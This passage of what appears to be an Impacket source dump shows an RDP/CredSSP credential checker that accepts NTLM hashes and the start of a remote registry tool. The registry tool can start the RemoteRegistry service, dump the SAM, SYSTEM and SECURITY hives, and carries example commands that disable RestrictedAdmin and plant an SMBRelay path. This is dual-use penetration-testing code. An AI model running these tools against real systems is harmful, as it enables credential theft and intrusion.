1\nDYNVC_GFX_PROTOCOL_SUPPORTED   = 2\n\n# RDP_NEG_FAILURE constants\nTYPE_RDP_NEG_FAILURE                  = 3\nSSL_REQUIRED_BY_SERVER                = 1\nSSL_NOT_ALLOWED_BY_SERVER             = 2\nSSL_CERT_NOT_ON_SERVER                = 3\nINCONSISTENT_FLAGS                    = 4\nHYBRID_REQUIRED_BY_SERVER             = 5\nSSL_WITH_USER_AUTH_REQUIRED_BY_SERVER = 6\n\nclass TPKT(Structure):\n    commonHdr = (\n        ('Version','B=3'),\n        ('Reserved','B=0'),\n        ('Length','>H=len(TPDU)+4'),\n        ('_TPDU','_-TPDU','self[\"Length\"]-4'),\n        ('TPDU',':=\"\"'),\n    )\n\nclass TPDU(Structure):\n    commonHdr = (\n        ('LengthIndicator','B=len(VariablePart)+1'),\n        ('Code','B=0'),\n        ('VariablePart',':=\"\"'),\n    )\n\n    def __init__(self, data = None):\n        Structure.__init__(self,data)\n        self['VariablePart']=''\n\nclass CR_TPDU(Structure):\n    commonHdr = (\n        ('DST-REF','<H=0'),\n        ('SRC-REF','<H=0'),\n        ('CLASS-OPTION','B=0'),\n        ('Type','B=0'),\n        ('Flags','B=0'),\n        ('Length','<H=8'),\n    )\n\nclass DATA_TPDU(Structure):\n    commonHdr = (\n        ('EOT','B=0x80'),\n        ('UserData',':=\"\"'),\n    )\n\n    def __init__(self, data = None):\n        Structure.__init__(self,data)\n        self['UserData'] =''\n\n\nclass RDP_NEG_REQ(CR_TPDU):\n    structure = (\n        ('requestedProtocols','<L'),\n    )\n    def __init__(self,data=None):\n        CR_TPDU.__init__(self,data)\n        if data is None:\n            self['Type'] = TYPE_RDP_NEG_REQ\n\nclass RDP_NEG_RSP(CR_TPDU):\n    structure = (\n        ('selectedProtocols','<L'),\n    )\n\nclass RDP_NEG_FAILURE(CR_TPDU):\n    structure = (\n        ('failureCode','<L'),\n    )\n\nclass TSPasswordCreds(GSSAPI):\n# TSPasswordCreds ::= SEQUENCE {\n#         domainName  [0] OCTET STRING,\n#         userName    [1] OCTET STRING,\n#         password    [2] OCTET STRING\n# }\n   def __init__(self, data=None):\n       GSSAPI.__init__(self,data)\n       del self['UUID']\n  \n   def getData(self):\n       ans = pack('B', ASN1_SEQUENCE)\n       ans += asn1encode( pack('B', 0xa0) +\n              asn1encode( pack('B', ASN1_OCTET_STRING) + \n              asn1encode( self['domainName'].encode('utf-16le'))) +\n              pack('B', 0xa1) + \n              asn1encode( pack('B', ASN1_OCTET_STRING) + \n              asn1encode( self['userName'].encode('utf-16le'))) +\n              pack('B', 0xa2) + \n              asn1encode( pack('B', ASN1_OCTET_STRING) + \n              asn1encode( self['password'].encode('utf-16le'))) )\n       return ans \n\nclass TSCredentials(GSSAPI):\n# TSCredentials ::= SEQUENCE {\n#        credType    [0] INTEGER,\n#        credentials [1] OCTET STRING\n# }\n   def __init__(self, data=None):\n       GSSAPI.__init__(self,data)\n       del self['UUID']\n\n   def getData(self):\n     # Let's pack the credentials field\n     credentials =  pack('B',0xa1) \n     credentials += asn1encode(pack('B',ASN1_OCTET_STRING) +\n                    asn1encode(self['credentials']))\n\n     ans = pack('B',ASN1_SEQUENCE) \n     ans += asn1encode( pack('B', 0xa0) +\n            asn1encode( pack('B', 0x02) + \n            asn1encode( pack('B', self['credType']))) +\n            credentials)\n     return ans\n\nclass TSRequest(GSSAPI):\n# TSRequest ::= SEQUENCE {\n#\tversion     [0] INTEGER,\n#       negoTokens  [1] NegoData OPTIONAL,\n#       authInfo    [2] OCTET STRING OPTIONAL,\n#\tpubKeyAuth  [3] OCTET STRING OPTIONAL,\n#}\n#\n# NegoData ::= SEQUENCE OF SEQUENCE {\n#        negoToken [0] OCTET STRING\n#}\n#\n\n   def __init__(self, data=None):\n       GSSAPI.__init__(self,data)\n       del self['UUID']\n       \n   def fromString(self, data = None):\n       next_byte = unpack('B',data[:1])[0]\n       if next_byte != ASN1_SEQUENCE:\n           raise Exception('SEQUENCE expected! (%x)' % next_byte)\n       data = data[1:]\n       decode_data, total_bytes = asn1decode(data) \n\n       next_byte = unpack('B',decode_data[:1])[0]\n       if next_byte !=  0xa0:\n            raise Exception('0xa0 tag not found %x' % next_byte)\n       decode_data = decode_data[1:]\n       next_bytes, total_bytes = asn1decode(decode_data)                \n       # The INTEGER tag must be here\n       if unpack('B',next_bytes[0:1])[0] != 0x02:\n           raise Exception('INTEGER tag not found %r' % next_byte)\n       next_byte, _ = asn1decode(next_bytes[1:])\n       self['Version'] = unpack('B',next_byte)[0]\n       decode_data = decode_data[total_bytes:]\n       next_byte = unpack('B',decode_data[:1])[0]\n       if next_byte == 0xa1:\n           # We found the negoData token\n           decode_data, total_bytes = asn1decode(decode_data[1:])\n       \n           next_byte = unpack('B',decode_data[:1])[0]\n           if next_byte != ASN1_SEQUENCE:\n               raise Exception('ASN1_SEQUENCE tag not found %r' % next_byte)\n           decode_data, total_bytes = asn1decode(decode_data[1:])\n\n           next_byte = unpack('B',decode_data[:1])[0]\n           if next_byte != ASN1_SEQUENCE:\n               raise Exception('ASN1_SEQUENCE tag not found %r' % next_byte)\n           decode_data, total_bytes = asn1decode(decode_data[1:])\n\n           next_byte = unpack('B',decode_data[:1])[0]\n           if next_byte != 0xa0:\n               raise Exception('0xa0 tag not found %r' % next_byte)\n           decode_data, total_bytes = asn1decode(decode_data[1:])\n   \n           next_byte = unpack('B',decode_data[:1])[0]\n           if next_byte != ASN1_OCTET_STRING:\n               raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)\n           decode_data2, total_bytes = asn1decode(decode_data[1:])\n           # the rest should be the data\n           self['NegoData'] = decode_data2\n           decode_data = decode_data[total_bytes+1:]\n\n       if next_byte == 0xa2:\n           # ToDo: Check all this\n           # We found the authInfo token\n           decode_data, total_bytes = asn1decode(decode_data[1:])\n           next_byte = unpack('B',decode_data[:1])[0]\n           if next_byte != ASN1_OCTET_STRING:\n               raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)\n           decode_data2, total_bytes = asn1decode(decode_data[1:])\n           self['authInfo'] = decode_data2\n           decode_data = decode_data[total_bytes+1:]\n\n       if next_byte == 0xa3:\n           # ToDo: Check all this\n           # We found the pubKeyAuth token\n           decode_data, total_bytes = asn1decode(decode_data[1:])\n           next_byte = unpack('B',decode_data[:1])[0]\n           if next_byte != ASN1_OCTET_STRING:\n               raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)\n           decode_data2, total_bytes = asn1decode(decode_data[1:])\n           self['pubKeyAuth'] = decode_data2\n\n   def getData(self):\n     # Do we have pubKeyAuth?\n     if 'pubKeyAuth' in self.fields:\n         pubKeyAuth = pack('B',0xa3)\n         pubKeyAuth += asn1encode(pack('B', ASN1_OCTET_STRING) +\n                       asn1encode(self['pubKeyAuth']))\n     else:\n         pubKeyAuth = b''\n\n     if 'authInfo' in self.fields:\n         authInfo = pack('B',0xa2)\n         authInfo+= asn1encode(pack('B', ASN1_OCTET_STRING) +\n                       asn1encode(self['authInfo']))\n     else: \n         authInfo = b''\n\n     if 'NegoData' in self.fields:\n         negoData = pack('B',0xa1) \n         negoData += asn1encode(pack('B', ASN1_SEQUENCE) +\n                    asn1encode(pack('B', ASN1_SEQUENCE) + \n                    asn1encode(pack('B', 0xa0) + \n                    asn1encode(pack('B', ASN1_OCTET_STRING) + \n                    asn1encode(self['NegoData'])))))\n     else:\n         negoData = b''\n     ans = pack('B', ASN1_SEQUENCE)\n     ans += asn1encode(pack('B',0xa0) + \n            asn1encode(pack('B',0x02) + asn1encode(pack('B',0x02))) +\n            negoData + authInfo + pubKeyAuth)\n     \n     return ans\n\nif __name__ == '__main__':\n\n    import socket\n    import argparse\n    import sys\n    import logging\n    from binascii import a2b_hex\n    from Cryptodome.Cipher import ARC4\n    from impacket import ntlm, version\n    try:\n        from OpenSSL import SSL, crypto\n    except:\n        logging.critical(\"pyOpenSSL is not installed, can't continue\")\n        sys.exit(1)\n    \n\n    class SPNEGOCipher:\n        def __init__(self, flags, randomSessionKey):\n            self.__flags = flags\n            if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n                self.__clientSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey)\n                self.__serverSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey,\"Server\")\n                self.__clientSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey)\n                self.__serverSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey,\"Server\")\n                # Preparing the keys handle states\n                cipher3 = ARC4.new(self.__clientSealingKey)\n                self.__clientSealingHandle = cipher3.encrypt\n                cipher4 = ARC4.new(self.__serverSealingKey)\n                self.__serverSealingHandle = cipher4.encrypt\n            else:\n                # Same key for everything\n                self.__clientSigningKey = randomSessionKey\n                self.__serverSigningKey = randomSessionKey\n                self.__clientSealingKey = randomSessionKey\n                self.__clientSealingKey = randomSessionKey\n                cipher = ARC4.new(self.__clientSigningKey)\n                self.__clientSealingHandle = cipher.encrypt\n                self.__serverSealingHandle = cipher.encrypt\n            self.__sequence = 0\n\n        def encrypt(self, plain_data):\n            if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n                # When NTLM2 is on, we sign the whole pdu, but encrypt just\n                # the data, not the dcerpc header. Weird..\n                sealedMessage, signature =  ntlm.SEAL(self.__flags, \n                       self.__clientSigningKey, \n                       self.__clientSealingKey,  \n                       plain_data, \n                       plain_data, \n                       self.__sequence, \n                       self.__clientSealingHandle)\n            else:\n                sealedMessage, signature =  ntlm.SEAL(self.__flags, \n                       self.__clientSigningKey, \n                       self.__clientSealingKey,  \n                       plain_data, \n                       plain_data, \n                       self.__sequence, \n                       self.__clientSealingHandle)\n\n            self.__sequence += 1\n\n            return signature, sealedMessage\n\n        def decrypt(self, answer):\n            if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n                # TODO: FIX THIS, it's not calculating the signature well\n                # Since I'm not testing it we don't care... yet\n                answer, signature =  ntlm.SEAL(self.__flags, \n                        self.__serverSigningKey, \n                        self.__serverSealingKey,  \n                        answer, \n                        answer, \n                        self.__sequence, \n                        self.__serverSealingHandle)\n            else:\n                answer, signature = ntlm.SEAL(self.__flags, \n                        self.__serverSigningKey, \n                        self.__serverSealingKey, \n                        answer, \n                        answer, \n                        self.__sequence, \n                        self.__serverSealingHandle)\n                self.__sequence += 1\n\n            return signature, answer\n\n    def check_rdp(host, username, password, domain, hashes=None, ipv6=False):\n\n       if hashes is not None:\n           lmhash, nthash = hashes.split(':')\n           lmhash = a2b_hex(lmhash)\n           nthash = a2b_hex(nthash)\n\n       else:\n           lmhash = ''\n           nthash = ''\n\n       tpkt = TPKT()\n       tpdu = TPDU()\n       rdp_neg = RDP_NEG_REQ()\n       rdp_neg['Type'] = TYPE_RDP_NEG_REQ\n       rdp_neg['requestedProtocols'] = PROTOCOL_HYBRID | PROTOCOL_SSL\n       tpdu['VariablePart'] = rdp_neg.getData()\n       tpdu['Code'] = TDPU_CONNECTION_REQUEST\n       tpkt['TPDU'] = tpdu.getData()\n\n       s = get_connected_socket(host, 3389, ipv6)\n       s.sendall(tpkt.getData())\n       pkt = s.recv(8192)\n       tpkt.fromString(pkt)\n       tpdu.fromString(tpkt['TPDU'])\n       cr_tpdu = CR_TPDU(tpdu['VariablePart'])\n       if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE:\n           rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart'])\n           rdp_failure.dump()\n           logging.error(\"Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials\")\n           return\n       else:\n           rdp_neg.fromString(tpdu['VariablePart'])\n\n       # Since we were accepted to talk PROTOCOL_HYBRID, below is its implementation\n\n       # 1. The CredSSP client and CredSSP server first complete the TLS handshake, \n       # as specified in [RFC2246]. After the handshake is complete, all subsequent \n       # CredSSP Protocol messages are encrypted by the TLS channel. \n       # The CredSSP Protocol does not extend the TLS wire protocol. As part of the TLS \n       # handshake, the CredSSP server does not request the client's X.509 certificate \n       # (thus far, the client is anonymous). Also, the CredSSP Protocol does not require \n       # the client to have a commonly trusted certification authority root with the \n       # CredSSP server. Thus, the CredSSP server MAY use, for example, \n       # a self-signed X.509 certificate.\n\n       # Switching to TLS now\n       ctx = SSL.Context(SSL.TLS_METHOD)\n       ctx.set_cipher_list('ALL:@SECLEVEL=0'.encode('utf-8'))\n       SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION = 0x00040000\n       ctx.set_options(SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION)\n       ctx.set_options(SSL.OP_DONT_INSERT_EMPTY_FRAGMENTS)\n       tls = SSL.Connection(ctx,s)\n       tls.set_connect_state()\n       tls.do_handshake()\n\n       # If you want to use Python internal ssl, uncomment this and comment \n       # the previous lines\n       #tls = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='RC4')\n\n       # 2. Over the encrypted TLS channel, the SPNEGO handshake between the client \n       # and server completes mutual authentication and establishes an encryption key \n       # that is used by the SPNEGO confidentiality services, as specified in [RFC4178]. \n       # All SPNEGO tokens as well as the underlying encryption algorithms are opaque to \n       # the calling application (the CredSSP client and CredSSP server). \n       # The wire protocol for SPNEGO is specified in [MS-SPNG].\n       # The SPNEGO tokens exchanged between the client and the server are encapsulated \n       # in the negoTokens field of the TSRequest structure. Both the client and the \n       # server use this structure as many times as necessary to complete the SPNEGO \n       # exchange.<9>\n       #\n       # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted \n       # from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth \n       # field is omitted by the client unless the client is sending the last SPNEGO token. \n       # If the client is sending the last SPNEGO token, the TSRequest structure MUST have \n       # both the negoToken and the pubKeyAuth fields filled in.\n\n       # NTLMSSP stuff\n       auth = ntlm.getNTLMSSPType1('','',True, use_ntlmv2 = True)\n\n       ts_request = TSRequest()\n       ts_request['NegoData'] = auth.getData()\n\n       tls.send(ts_request.getData())\n       buff = tls.recv(4096)\n       ts_request.fromString(buff)\n\n       # 3. The client encrypts the public key it received from the server (contained \n       # in the X.509 certificate) in the TLS handshake from step 1, by using the \n       # confidentiality support of SPNEGO. The public key that is encrypted is the \n       # ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509 \n       # certificate, as specified in [RFC3280] section 4.1. The encrypted key is \n       # encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over \n       # the TLS channel to the server. \n       #\n       # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted \n       # from the TSRequest structure; the client MUST send its last SPNEGO token to the \n       # server in the negoTokens field (see step 2) along with the encrypted public key \n       # in the pubKeyAuth field.\n\n       # Last SPNEGO token calculation\n       #ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData'])\n       type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2 = True)\n\n       # Get server public key\n       server_cert =  tls.get_peer_certificate()\n       pkey = server_cert.get_pubkey()\n       dump = crypto.dump_publickey(crypto.FILETYPE_ASN1, pkey)\n       # Parsing the key from ASN1 encoded\n       dump = dump[24:]\n\n       cipher = SPNEGOCipher(type3['flags'], exportedSessionKey)\n       signature, cripted_key = cipher.encrypt(dump)\n       ts_request['NegoData'] = type3.getData()\n       ts_request['pubKeyAuth'] = signature.getData() + cripted_key\n\n       try:\n           # Sending the Type 3 NTLM blob\n           tls.send(ts_request.getData())\n           # The other end is waiting for the pubKeyAuth field, but looks like it's\n           # not needed to check whether authentication worked.\n           # If auth is unsuccessful, it throws an exception with the previous send().\n           # If auth is successful, the server waits for the pubKeyAuth and doesn't answer \n           # anything. So, I'm sending garbage so the server returns an error. \n           # Luckily, it's a different error so we can determine whether or not auth worked ;)\n           buff = tls.recv(1024)\n       except Exception as err:\n           if str(err).find(\"denied\") > 0:\n               logging.error(\"Access Denied\")\n           else:\n               logging.error(err)\n           return\n\n       # 4. After the server receives the public key in step 3, it first verifies that \n       # it has the same public key that it used as part of the TLS handshake in step 1. \n       # The server then adds 1 to the first byte representing the public key (the ASN.1 \n       # structure corresponding to the SubjectPublicKey field, as described in step 3) \n       # and encrypts the binary result by using the SPNEGO encryption services. \n       # Due to the addition of 1 to the binary data, and encryption of the data as a binary \n       # structure, the resulting value may not be valid ASN.1-encoded values. \n       # The encrypted binary data is encapsulated in the pubKeyAuth field of the TSRequest \n       # structure and is sent over the encrypted TLS channel to the client. \n       # The addition of 1 to the first byte of the public key is performed so that the \n       # client-generated pubKeyAuth message cannot be replayed back to the client by an \n       # attacker.\n       #\n       # Note During this phase of the protocol, the OPTIONAL authInfo and negoTokens \n       # fields are omitted from the TSRequest structure.\n\n       ts_request = TSRequest(buff)\n\n       # Now we're decrypting the certificate + 1 sent by the server. Not worth checking ;)\n       signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:])\n\n       # 5. After the client successfully verifies server authenticity by performing a \n       # binary comparison of the data from step 4 to that of the data representing \n       # the public key from the server's X.509 certificate (as specified in [RFC3280], \n       # section 4.1), it encrypts the user's credentials (either password or smart card \n       # PIN) by using the SPNEGO encryption services. The resulting value is \n       # encapsulated in the authInfo field of the TSRequest structure and sent over \n       # the encrypted TLS channel to the server.\n       # The TSCredentials structure within the authInfo field of the TSRequest \n       # structure MAY contain either a TSPasswordCreds or a TSSmartCardCreds structure, \n       # but MUST NOT contain both.\n       #\n       # Note During this phase of the protocol, the OPTIONAL pubKeyAuth and negoTokens \n       # fields are omitted from the TSRequest structure.\n       tsp = TSPasswordCreds()\n       tsp['domainName'] = domain\n       tsp['userName']   = username\n       tsp['password']   = password\n       tsc = TSCredentials()\n       tsc['credType'] = 1 # TSPasswordCreds\n       tsc['credentials'] = tsp.getData()\n\n       signature, cripted_creds = cipher.encrypt(tsc.getData())\n       ts_request = TSRequest()\n       ts_request['authInfo'] = signature.getData() + cripted_creds\n       tls.send(ts_request.getData())\n       tls.close()\n       logging.info(\"Access Granted\")\n\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"Test whether an account is valid on the target \"\n                                                                    \"host using the RDP protocol.\")\n\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')\n    parser.add_argument('-6','--ipv6', action='store_true', help='Test on IPv6')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n \n    options = parser.parse_args()\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    domain, username, password, address = parse_target(options.target)\n\n    if domain is None:\n        domain = ''\n\n    if password == '' and username != '' and options.hashes is None:\n        from getpass import getpass\n        password = getpass(\"Password:\")\n\n    check_rdp(address, username, password, domain, options.hashes, options.ipv6)\n"
  },
  {
    "path": "examples/reg.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Remote registry manipulation tool.\n#   The idea is to provide similar functionality as the REG.EXE Windows utility.\n#\n#   e.g:\n#       ./reg.py Administrator:password@targetMachine query -keyName HKLM\\\\Software\\\\Microsoft\\\\WBEM -s\n#       ./reg.py Administrator:password@targetMachine add -keyName HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa -v DisableRestrictedAdmin -vt REG_DWORD -vd 1\n#       ./reg.py Administrator:password@targetMachine add -keyName HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\NewService\n#       ./reg.py Administrator:password@targetMachine add -keyName HKCR\\\\hlpfile\\\\DefaultIcon  -v '' -vd '\\\\SMBRelay\\share'\n#       ./reg.py Administrator:password@targetMachine delete -keyName HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa -v DisableRestrictedAdmin\n#\n# Author:\n#   Manuel Porto (@manuporto)\n#   Alberto Solino (@agsolino)\n#\n# Reference for:\n#   [MS-RRP]\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport argparse\nimport codecs\nimport logging\nimport sys\nimport time\nimport binascii\nfrom struct import unpack\n\nfrom impacket import version\nfrom impacket.dcerpc.v5 import transport, rrp, scmr, rpcrt\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target\nfrom impacket.system_errors import ERROR_NO_MORE_ITEMS\nfrom impacket.structure import hexdump\nfrom impacket.smbconnection import SMBConnection, SessionError\nfrom impacket.dcerpc.v5.dtypes import READ_CONTROL\n\n\nclass RemoteOperations:\n    def __init__(self, smbConnection, doKerberos, kdcHost=None):\n        self.__smbConnection = smbConnection\n        self.__smbConnection.setTimeout(5 * 60)\n        self.__serviceName = 'RemoteRegistry'\n        self.__stringBindingWinReg = r'ncacn_np:445[\\pipe\\winreg]'\n        self.__rrp = None\n        self.__regHandle = None\n\n        self.__doKerberos = doKerberos\n        self.__kdcHost = kdcHost\n\n        self.__disabled = False\n        self.__shouldStop = False\n        self.__started = False\n\n        self.__stringBindingSvcCtl = r'ncacn_np:445[\\pipe\\svcctl]'\n        self.__scmr = None\n\n    def getRRP(self):\n        return self.__rrp\n\n    def __connectSvcCtl(self):\n        rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)\n        rpc.set_smb_connection(self.__smbConnection)\n        self.__scmr = rpc.get_dce_rpc()\n        self.__scmr.connect()\n        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)\n\n    def connectWinReg(self):\n        rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)\n        rpc.set_smb_connection(self.__smbConnection)\n        self.__rrp = rpc.get_dce_rpc()\n        self.__rrp.connect()\n        self.__rrp.bind(rrp.MSRPC_UUID_RRP)\n\n    def __checkServiceStatus(self):\n        # Open SC Manager\n        ans = scmr.hROpenSCManagerW(self.__scmr)\n        self.__scManagerHandle = ans['lpScHandle']\n        # Now let's open the service\n        ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)\n        self.__serviceHandle = ans['lpServiceHandle']\n        # Let's check its status\n        ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)\n        if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:\n            logging.info('Service %s is in stopped state' % self.__serviceName)\n            self.__shouldStop = True\n            self.__started = False\n        elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:\n            logging.debug('Service %s is already running' % self.__serviceName)\n            self.__shouldStop = False\n            self.__started = True\n        else:\n            raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])\n\n        # Let's check its configuration if service is stopped, maybe it's disabled :s\n        if self.__started is False:\n            ans = scmr.hRQueryServiceConfigW(self.__scmr, self.__serviceHandle)\n            if ans['lpServiceConfig']['dwStartType'] == 0x4:\n                logging.info('Service %s is disabled, enabling it' % self.__serviceName)\n                self.__disabled = True\n                scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType=0x3)\n            logging.info('Starting service %s' % self.__serviceName)\n            scmr.hRStartServiceW(self.__scmr, self.__serviceHandle)\n            time.sleep(1)\n\n    def enableRegistry(self):\n        self.__connectSvcCtl()\n        self.__checkServiceStatus()\n        self.connectWinReg()\n\n    def __restore(self):\n        # First of all stop the service if it was originally stopped\n        if self.__shouldStop is True:\n            logging.info('Stopping service %s' % self.__serviceName)\n            scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)\n        if self.__disabled is True:\n            logging.info('Restoring the disabled state for service %s' % self.__serviceName)\n            scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType=0x4)\n\n    def finish(self):\n        self.__restore()\n        if self.__rrp is not None:\n            self.__rrp.disconnect()\n        if self.__scmr is not None:\n            self.__scmr.disconnect()\n\n\nclass RegHandler:\n    def __init__(self, username, password, domain, options):\n        self.__username = username\n        self.__password = password\n        self.__domain = domain\n        self.__options = options\n        self.__action = options.action.upper()\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__aesKey = options.aesKey\n        self.__doKerberos = options.k\n        self.__kdcHost = options.dc_ip\n        self.__smbConnection = None\n        self.__remoteOps = None\n\n        # It's possible that this is defined somewhere, but I couldn't find where\n        self.__regValues = {0: 'REG_NONE', 1: 'REG_SZ', 2: 'REG_EXPAND_SZ', 3: 'REG_BINARY', 4: 'REG_DWORD',\n                            5: 'REG_DWORD_BIG_ENDIAN', 6: 'REG_LINK', 7: 'REG_MULTI_SZ', 11: 'REG_QWORD'}\n\n        if options.hashes is not None:\n            self.__lmhash, self.__nthash = options.hashes.split(':')\n\n    def connect(self, remoteName, remoteHost):\n        self.__smbConnection = SMBConnection(remoteName, remoteHost, sess_port=int(self.__options.port))\n\n        if self.__doKerberos:\n            self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,\n                                               self.__nthash, self.__aesKey, self.__kdcHost)\n        else:\n            self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)\n\n    def run(self, remoteName, remoteHost):\n        self.connect(remoteName, remoteHost)\n        self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)\n\n        try:\n            self.__remoteOps.enableRegistry()\n        except Exception as e:\n            logging.debug(str(e))\n            logging.warning('Cannot check RemoteRegistry status. Triggering start trough named pipe...')\n            self.triggerWinReg()\n            self.__remoteOps.connectWinReg()\n\n        try:\n            dce = self.__remoteOps.getRRP()\n\n            if self.__action == 'QUERY':\n                self.query(dce, self.__options.keyName)\n            elif self.__action == 'ADD':\n                self.add(dce, self.__options.keyName, self.__options.persistent)\n            elif self.__action == 'DELETE':\n                self.delete(dce, self.__options.keyName)\n            elif self.__action == 'SAVE':\n                self.save(dce, self.__options.keyName)\n            elif self.__action == 'BACKUP':\n                for hive in [\"HKLM\\\\SAM\", \"HKLM\\\\SYSTEM\", \"HKLM\\\\SECURITY\"]:\n                    self.save(dce, hive)\n            else:\n                logging.error('Method %s not implemented yet!' % self.__action)\n        except (Exception, KeyboardInterrupt) as e:\n            #import traceback\n            #traceback.print_exc()\n            logging.critical(str(e))\n        finally:\n            if self.__remoteOps:\n                self.__remoteOps.finish()\n\n    def triggerWinReg(self):\n        # original idea from https://twitter.com/splinter_code/status/1715876413474025704\n        tid = self.__smbConnection.connectTree('IPC$')\n        try:\n            self.__smbConnection.openFile(tid, r'\\winreg', 0x12019f, creationOption=0x40, fileAttributes=0x80)\n        except SessionError:\n            # STATUS_PIPE_NOT_AVAILABLE error is expected\n            pass\n        # give remote registry time to start\n        time.sleep(1)\n\n    def save(self, dce, keyName):\n        hRootKey, subKey = self.__strip_root_key(dce, keyName)\n        outputFileName = \"%s\\\\%s.save\" % (self.__options.outputPath, subKey)\n        logging.debug(\"Dumping %s, be patient it can take a while for large hives (e.g. HKLM\\\\SYSTEM)\" % keyName)\n        try:\n            ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)\n            rrp.hBaseRegSaveKey(dce, ans2['phkResult'], outputFileName)\n            logging.info(\"Saved %s to %s\" % (keyName, outputFileName))\n        except Exception as e:\n            logging.error(\"Couldn't save %s: %s\" % (keyName, e))\n\n    def query(self, dce, keyName):\n        hRootKey, subKey = self.__strip_root_key(dce, keyName)\n\n        ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,\n                                   samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)\n\n        if self.__options.v:\n            print(keyName)\n            value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], self.__options.v)\n            print('\\t' + self.__options.v + '\\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\\t', str(value[1]))\n        elif self.__options.ve:\n            print(keyName)\n            value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], '')\n            print('\\t' + '(Default)' + '\\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\\t', str(value[1]))\n        elif self.__options.s:\n            self.__print_all_subkeys_and_entries(dce, subKey + '\\\\', ans2['phkResult'], 0)\n        else:\n            print(keyName)\n            self.__print_key_values(dce, ans2['phkResult'])\n            i = 0\n            while True:\n                try:\n                    key = rrp.hBaseRegEnumKey(dce, ans2['phkResult'], i)\n                    print(keyName + '\\\\' + key['lpNameOut'][:-1])\n                    i += 1\n                except Exception:\n                    break\n                    # ans5 = rrp.hBaseRegGetVersion(rpc, ans2['phkResult'])\n                    # ans3 = rrp.hBaseRegEnumKey(rpc, ans2['phkResult'], 0)\n\n    def add(self, dce, keyName, persistent):\n        hRootKey, subKey = self.__strip_root_key(dce, keyName)\n\n\n        # READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY should be equal to KEY_WRITE (0x20006)\n        if self.__options.v is None: # Try to create subkey\n            subKeyCreate = subKey\n            subKey = '\\\\'.join(subKey.split('\\\\')[:-1])\n\n            ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,\n                                       samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY)\n\n            # Should I use 